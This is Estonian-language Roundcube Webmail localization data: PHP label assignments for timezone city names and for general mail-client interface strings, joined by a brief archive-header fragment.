$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Nuuk';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havanna';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Mérida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'México';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Põhja-Dakota';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarém';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'São Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarktika';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arktika';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Aasia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Bakuu';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:damascus'] = 'Damaskus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jerusalem'] = 'Jerusalemm';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:krasnoyarsk'] = 'Krasnojarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Teheran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Jakutsk';
$labels['tz:asia:yekaterinburg'] = 'Jekaterinburg';
$labels['tz:asia:yerevan'] = 'Jerevan';
$labels['tz:atlantic'] = 'Atlandi';
$labels['tz:atlantic:azores'] = 'Azores';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Kanaarid';
$labels['tz:atlantic:cape_verde'] = 'Cape Verde';
$labels['tz:atlantic:faroe'] = 'Faroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Austraalia';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Siyney';
$labels['tz:europe'] = 'Euroopa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Ateena';
$labels['tz:europe:belgrade'] = 'Belgrad';
$labels['tz:europe:berlin'] = 'Berliin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brüssel';
$labels['tz:europe:bucharest'] = 'Bukarest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:copenhagen'] = 'Kopenhaagen';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isle of Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:luxembourg'] = 'Luksembourg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moskva';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Pariis';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Praha';
$labels['tz:europe:riga'] = 'Riia';
$labels['tz:europe:rome'] = 'Rooma';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirane';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vatican'] = 'Vatikan';
$labels['tz:europe:vienna'] = 'Viin';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Varssavi';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zürich';
$labels['tz:indian'] = 'India';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldiivid';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fiji'] = 'Fidži';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pohnpei'] = 'Ponpei';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\N��t{t{%program/localization/et_EE/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Tere tulemast! See on $product.';
$labels['username'] = 'Kasutajanimi';
$labels['password'] = 'Parool';
$labels['server'] = 'Server';
$labels['login'] = 'Logi sisse';
$labels['oauthlogin'] = 'Logi sisse kasutades $provider';
$labels['menu'] = 'Menüü';
$labels['logout'] = 'Logi välja';
$labels['mail'] = 'Postkast';
$labels['settings'] = 'Seaded';
$labels['addressbook'] = 'Aadressiraamat';
$labels['darkmode'] = 'Tume režiim';
$labels['lightmode'] = 'Hele režiim';
$labels['inbox'] = 'Saabuvad';
$labels['drafts'] = 'Mustandid';
$labels['sent'] = 'Saadetud';
$labels['trash'] = 'Prügikast';
$labels['junk'] = 'Rämps';
$labels['show_real_foldernames'] = 'Näita eriliste kaustade päris nimesid';
$labels['subject'] = 'Pealkiri';
$labels['from'] = 'Saatja';
$labels['sender'] = 'Saatja';
$labels['to'] = 'Saaja';
$labels['cc'] = 'Koopia';
$labels['bcc'] = 'Pimekoopia';
$labels['replyto'] = 'Vastus aadressile';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Kuupäev';
$labels['size'] = 'Suurus';
$labels['priority'] = 'Tähtsus';
$labels['organization'] = 'Organisatsioon';
$labels['readstatus'] = 'Lugemise staatus';
$labels['listoptions'] = 'Nimekirja valikud…';
$labels['listoptionstitle'] = 'Nimekirja valikud';
$labels['mailboxlist'] = 'Kaustad';
$labels['messagesfromto'] = 'Kirjed $from kuni $to, kokku $count';
$labels['threadsfromto'] = 'Lõimed $from kuni $to, kokku $count';
$labels['messagenrof'] = 'Kiri $nr, kokku $count';
$labels['fromtoshort'] = '$from – $to kokku $count';
$labels['copy'] = 'Kopeeri';
$labels['move'] = 'Liiguta';
$labels['moveto'] = 'liiguta kausta...';
$labels['copyto'] = 'Kopeeri...';
$labels['download'] = 'laadi arvutisse';
$labels['open'] = 'Ava';
$labels['showattachment'] = 'Näita';
$labels['showanyway'] = 'Näita ikka';
$labels['filename'] = 'Faili nimi';
$labels['filesize'] = 'Faili suurus';
$labels['addtoaddressbook'] = 'Lisa aadressiraamatusse';
$labels['sun'] = 'P';
$labels['mon'] = 'E';
$labels['tue'] = 'T';
$labels['wed'] = 'K';
$labels['thu'] = 'N';
$labels['fri'] = 'R';
$labels['sat'] = 'L';
$labels['sunday'] = 'Pühapäev';
$labels['monday'] = 'Esmaspäev';
$labels['tuesday'] = 'Teisipäev';
$labels['wednesday'] = 'Kolmapäev';
$labels['thursday'] = 'Neljapäev';
$labels['friday'] = 'Reede';
$labels['saturday'] = 'Laupäev';
$labels['jan'] = 'jaan';
$labels['feb'] = 'veebr';
$labels['mar'] = 'märts';
$labels['apr'] = 'apr';
$labels['may'] = 'Mai';
$labels['jun'] = 'juuni';
$labels['jul'] = 'juuli';
$labels['aug'] = 'aug';
$labels['sep'] = 'sept';
$labels['oct'] = 'okt';
$labels['nov'] = 'nov';
$labels['dec'] = 'dets';
$labels['longjan'] = 'Jaanuar';
$labels['longfeb'] = 'Veebruar';
$labels['longmar'] = 'Märts';
$labels['longapr'] = 'Aprill';
$labels['longmay'] = 'Mai';
$labels['longjun'] = 'Juuni';
$labels['longjul'] = 'Juuli';
$labels['longaug'] = 'August';
$labels['longsep'] = 'September';
$labels['longoct'] = 'Oktoober';
$labels['longnov'] = 'November';
$labels['longdec'] = 'Detsember';
$labels['today'] = 'Täna';
$labels['refresh'] = 'Värskenda';
$labels['checkmail'] = 'Kontrolli uusi kirju';
$labels['compose'] = 'Koosta kiri';
$labels['writenewmessage'] = 'Kirjuta uus kiri';
$labels['reply'] = 'Vasta';
$labels['replytomessage'] = 'Vasta kirjale';
$labels['replytoallmessage'] = 'Vasta saatjale ja teistele kirja saanutele';
$labels['replyall'] = 'Vasta kõigile';
$labels['replylist'] = 'Vasta meilinglisti';
$labels['forward'] = 'Edasta';
$labels['forwardinline'] = 'Edasta kirja sees';
$labels['forwardattachment'] = 'Edasta manusena';
$labels['forwardmessage'] = 'Edasta see kiri';
$labels['bounce'] = 'Saada uuesti';
$labels['deletemessage'] = 'Kustuta kiri';
$labels['movemessagetotrash'] = 'Liiguta kiri prügikasti';
$labels['printmessage'] = 'Trüki kiri';
$labels['previousmessage'] = 'Näita eelmist kirja';
$labels['firstmessage'] = 'Näita esimest kirja';
$labels['nextmessage'] = 'Näita järgmist kirja';
$labels['lastmessage'] = 'Näita viimast kirja';
$labels['backtolist'] = 'Tagasi kirjade nimekirja';
$labels['viewsource'] = 'Näita lähtekoodi';
$labels['mark'] = 'Märgista';
$labels['markmessages'] = 'Märgi kirjad';
$labels['markread'] = 'Loetuks';
$labels['markunread'] = 'Mitte loetuks';
$labels['markflagged'] = 'Lisa lipik';
$labels['markunflagged'] = 'Eemalda lipik';
$labels['moreactions'] = 'Muud toimingud...';
$labels['markallread'] = 'Märgi kõik loetuks';
$labels['folders-cur'] = 'Valitud kaustad ainult';
$labels['folders-sub'] = 'Valitud kaustad ja selle alamkaustad';
$labels['folders-all'] = 'Kõik kaustad';
$labels['more'] = 'Rohkem';
$labels['back'] = 'Tagasi';
$labels['options'] = 'Valikud';
$labels['composeoptions'] = 'Koostamise valikud';
$labels['optionsandattachments'] = 'Valikud ja manused';
$labels['actions'] = 'Tegevused';
$labels['first'] = 'Esimene';
$labels['last'] = 'Viimane';
$labels['previous'] = 'Eelmine';
$labels['next'] = 'Järgmine';
$labels['select'] = 'Vali';
$labels['selection'] = 'Valik';
$labels['all'] = 'kõik';
$labels['none'] = 'Puudub';
$labels['currpage'] = 'Praegune leht';
$labels['isread'] = 'Loe';
$labels['unread'] = 'Lugemata';
$labels['flagged'] = 'Märgistatud';
$labels['unflagged'] = 'Märgistamatta';
$labels['unanswered'] = 'Vastamata';
$labels['withattachment'] = 'Koos manusega';
$labels['deleted'] = 'Kustutatud';
$labels['undeleted'] = 'Pole kustutatud';
$labels['replied'] = 'Vastatud';
$labels['forwarded'] = 'Edastatud';
$labels['invert'] = 'Vaheta';
$labels['filter'] = 'Filtreeri';
$labels['list'] = 'Nimekiri';
$labels['threads'] = 'Lõimed';
$labels['expand-all'] = 'Laienda kõik';
$labels['expand-unread'] = 'Laienda lugemata';
$labels['collapse-all'] = 'Pane kõik kokku';
$labels['threaded'] = 'Lõimedena';
$labels['showunread'] = 'Näita lugemata sõnumeid';
$labels['autoexpand_threads'] = 'Laienda kirjade lõimed';
$labels['do_expand'] = 'kõik lõimed';
$labels['expand_only_unread'] = 'ainult lugemata kirjadega';
$labels['fromto'] = 'Saatja/saaja';
$labels['flag'] = 'Märgista';
$labels['attachment'] = 'Manus';
$labels['nonesort'] = 'Puudub';
$labels['sentdate'] = 'Saatmise kuupäev';
$labels['arrival'] = 'Saamise kuupäev';
$labels['asc'] = 'kasvavalt';
$labels['desc'] = 'kahanevalt';
$labels['listcolumns'] = 'Näita veerge';
$labels['listsorting'] = 'Järjestus veerg';
$labels['listorder'] = 'Järjestus suund';
$labels['listmode'] = 'Nimekirja vaatamise režiim';
$labels['lmode'] = 'Nimekirja režiim';
$labels['layout'] = 'Paigutus';
$labels['layoutwidescreen'] = 'Laiekraan';
$labels['layoutdesktop'] = 'Lauaarvuti';
$labels['layoutlist'] = 'Nimekiri';
$labels['layoutwidescreendesc'] = 'Laiekraan (3-paani vaade)';
$labels['layoutdesktopdesc'] = 'Töölaud (lai nimekiri ja kirja ülevaade allpool)';
$labels['layoutlistdesc'] = 'Nimekiri (kirja ülevaadet ei ole)';
$labels['folderactions'] = 'Kausta tegevused...';
$labels['compact'] = 'Tihenda';
$labels['empty'] = 'Tühjenda';
$labels['importmessages'] = 'Impordi kirju';
$labels['mailimportdesc'] = 'Saate ülesse laadida faile, mis on <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> või <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> formaadis.';
$labels['mailimportzip'] = 'Mitut faili on võimalik kokku pakkida zip arhiiviks.';
$labels['quota'] = 'Kettakasutus';
$labels['unknown'] = 'teadmata';
$labels['unlimited'] = 'piiramatu';
$labels['quotatype'] = 'Piirangu tüüp';
$labels['quotatotal'] = 'Limiit';
$labels['quotaused'] = 'Kasutatud';
$labels['quotastorage'] = 'Ketta ruum';
$labels['quotamessage'] = 'Kirjade arv';
$labels['shortheaderdate'] = 'Kuupäeval $date';
$labels['shortheaderto'] = 'Saajale $to päeval $date';
$labels['shortheaderfrom'] = 'Saatjalt $from päeval $date';
$labels['quicksearch'] = 'Kiirotsing';
$labels['searchplaceholder'] = 'Otsimine...';
$labels['resetsearch'] = 'Lähtesta otsing';
$labels['searchmod'] = 'Otsingu laiendid';
$labels['msgtext'] = 'Kogu kirjast';
$labels['body'] = 'Keha';
$labels['type'] = 'Tüüp';
$labels['namex'] = 'Nimi';
$labels['searchscope'] = 'Skoop';
$labels['currentfolder'] = 'Käesolev kaust';
$labels['subfolders'] = 'See ja alamkaust';
$labels['allfolders'] = 'Kõik kaustad';
$labels['searchinterval-1W'] = 'vanemad kui nädal';
$labels['searchinterval-1M'] = 'vanemad kui kuu';
$labels['searchinterval-1Y'] = 'vanemad kui aasta';
$labels['searchinterval1W'] = 'värskemad kui nädal';
$labels['searchinterval1M'] = 'värskemad kui kuu';
$labels['searchinterval1Y'] = 'värskemad kui aasta';
$labels['openinextwin'] = 'Ava uues aknas';
$labels['emlsave'] = 'Salvesta (.eml)';
$labels['changeformattext'] = 'Näita lihttekstina';
$labels['changeformathtml'] = 'Näita HTMLis';
$labels['editasnew'] = 'Kasuta uue kirja põhjana';
$labels['send'] = 'Saada';
$labels['sendmessage'] = 'Saada kiri kohe';
$labels['savemessage'] = 'Salvesta mustand';
$labels['addattachment'] = 'Lisa fail';
$labels['charset'] = 'Märgistik';
$labels['editortype'] = 'Redaktori tüüp';
$labels['returnreceipt'] = 'Kättesaamiskinnitus';
$labels['dsn'] = 'Kohalejõudmise teavitus';
$labels['mailreplyintro'] = '$date kirjutas $sender:';
$labels['originalmessage'] = 'Esialgne kiri';
$labels['selectimage'] = 'Vali pilt';
$labels['addimage'] = 'Lisa pilt';
$labels['selectmedia'] = 'Vali film';
$labels['addmedia'] = 'Lisa film';
$labels['encrypt'] = 'Krüpti';
$labels['encryptmessage'] = 'Krüpti kiri';
$labels['encryptmessagemailvelope'] = 'Krüpteeri kiri kasutades Mailvelope';
$labels['importpubkeys'] = 'Impordi avalikud võtmed';
$labels['encryptedsendialog'] = 'Saadan krüptitud kirja';
$labels['encryptandsign'] = 'Krüpteeri ja allkirjasta';
$labels['keyid'] = 'Võtme ID';
$labels['keylength'] = 'Bitte';
$labels['keyexpired'] = 'Aegunud';
$labels['keyrevoked'] = 'Tühistatud';
$labels['bccinstead'] = 'Kasuta Pimekoopiat';
$labels['addheader'] = 'Lisa saaja (päis)';
$labels['insert'] = 'Lisa';
$labels['insertcontact'] = 'Lisa kontakt(id)';
$labels['recipient'] = 'Saaja';
$labels['recipientedit'] = 'Saaja muutmine';
$labels['editidents'] = 'Muuda Identiteete';
$labels['spellcheck'] = 'Õigekiri';
$labels['checkspelling'] = 'Kontrolli õigekirja';
$labels['resumeediting'] = 'Jätka muutmist';
$labels['revertto'] = 'Pööra tagasi';
$labels['restore'] = 'Taasta';
$labels['restoremessage'] = 'Taasta kiri?';
$labels['ignore'] = 'Igroneeri';
$labels['responses'] = 'Vastused';
$labels['insertresponse'] = 'Lisa vastus';
$labels['manageresponses'] = 'Halda vastuseid';
$labels['newresponse'] = 'Loo uus vastus';
$labels['addresponse'] = 'Lisa vastus';
$labels['editresponse'] = 'Muuda vastust';
$labels['editresponses'] = 'Muuda vastuseid';
$labels['responsename'] = 'Nimi';
$labels['responsetext'] = 'Vastuse sisu';
$labels['attach'] = 'Manusta';
$labels['attachments'] = 'Manused';
$labels['upload'] = 'Kinnita manus';
$labels['uploadprogress'] = '$percent ($current / $total)';
$labels['close'] = 'Sulge';
$labels['messageoptions'] = 'Kirja valikud...';
$labels['togglecomposeoptions'] = 'Muuda koostamise valikuid';
$labels['attachmentrename'] = 'Nimeta manus ümber';
$labels['low'] = 'Madal';
$labels['lowest'] = 'Madalaim';
$labels['normal'] = 'Tavaline';
$labels['high'] = 'Kõrge';
$labels['highest'] = 'Kõrgeim';
$labels['nosubject'] = '(teema puudub)';
$labels['showimages'] = 'Näita pilte';
$labels['allow'] = 'Luba';
$labels['alwaysshow'] = 'Näita alati $sender saadetud pilte';
$labels['alwaysallow'] = 'Alati luba $sender';
$labels['isdraft'] = 'See on mustand.';
$labels['andnmore'] = '$nr veel…';
$labels['details'] = 'Detailid';
$labels['summary'] = 'Kokkuvõte';
$labels['headers'] = 'Päised';
$labels['allheaders'] = 'Kõik päised...';
$labels['togglemoreheaders'] = 'Näita rohkem kirja päiseid';
$labels['togglefullheaders'] = 'Näita/peida algseid päiseid';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Lihttekst';
$labels['savesentmessagein'] = 'Salvesta saadetud kirjad kausta';
$labels['dontsave'] = 'ära salvesta';
$labels['maxuploadsize'] = 'Faili maksimaalne lubatud suurus on $size';
$labels['addcc'] = 'Lisa koopia';
$labels['addbcc'] = 'Lisa pimekoopia';
$labels['addreplyto'] = 'Lisa vastus aadressile';
$labels['addfollowupto'] = 'Lisa Followup-To';
$labels['sendreceipt'] = 'Kas saata lugemise kinnitus?';
$labels['mdnrequest'] = 'Selle kirja saatja soovib saada kinnitust kirja lugemise kohta. Kas soovid kinnituse saata?';
$labels['receiptread'] = 'Kättesaamiskinnitus (loetud)';
$labels['yourmessage'] = 'See on sinu saadetud kirja kättesaamiskinnitus';
$labels['receiptnote'] = 'Märkus: Kättesaamiskinnituse saamine tähendab ainult seda, et saaja on kirja avanud. Pole mingit garantiid, et ta kirja tegelikult luges ja selle sisust aru sai.';
$labels['sendalwaysto'] = 'Saada alati e-postile $email';
$labels['zoomin'] = 'Suurenda';
$labels['zoomout'] = 'Vähenda';
$labels['rotate'] = 'Keera';
$labels['increaseimage'] = 'Suurenda pildi suurust';
$labels['decreaseimage'] = 'Vähenda pildi suurust';
$labels['rotateimage'] = 'Keera pilti';
$labels['showtools'] = 'Kuva pildi tööriistad';
$labels['hidetools'] = 'Peida pildi tööriistad';
$labels['name'] = 'Näidatav nimi';
$labels['firstname'] = 'Eesnimi';
$labels['surname'] = 'Perekonnanimi';
$labels['middlename'] = 'Keskmine nimi';
$labels['nameprefix'] = 'Eesliide';
$labels['namesuffix'] = 'Järelliide';
$labels['nickname'] = 'Hüüdnimi';
$labels['jobtitle'] = 'Töökoht';
$labels['department'] = 'Osakond';
$labels['gender'] = 'Sugu';
$labels['maidenname'] = 'Neiupõlve nimi';
$labels['email'] = 'E-post';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Aadress';
$labels['street'] = 'Tänav';
$labels['locality'] = 'Linn';
$labels['zipcode'] = 'Postiindeks';
$labels['region'] = 'Piirkond';
$labels['country'] = 'Riik';
$labels['birthday'] = 'Sünnipäev';
$labels['anniversary'] = 'Tähtpäev';
$labels['website'] = 'Veebileht';
$labels['instantmessenger'] = 'Kiirsuhtlus';
$labels['notes'] = 'Märkused';
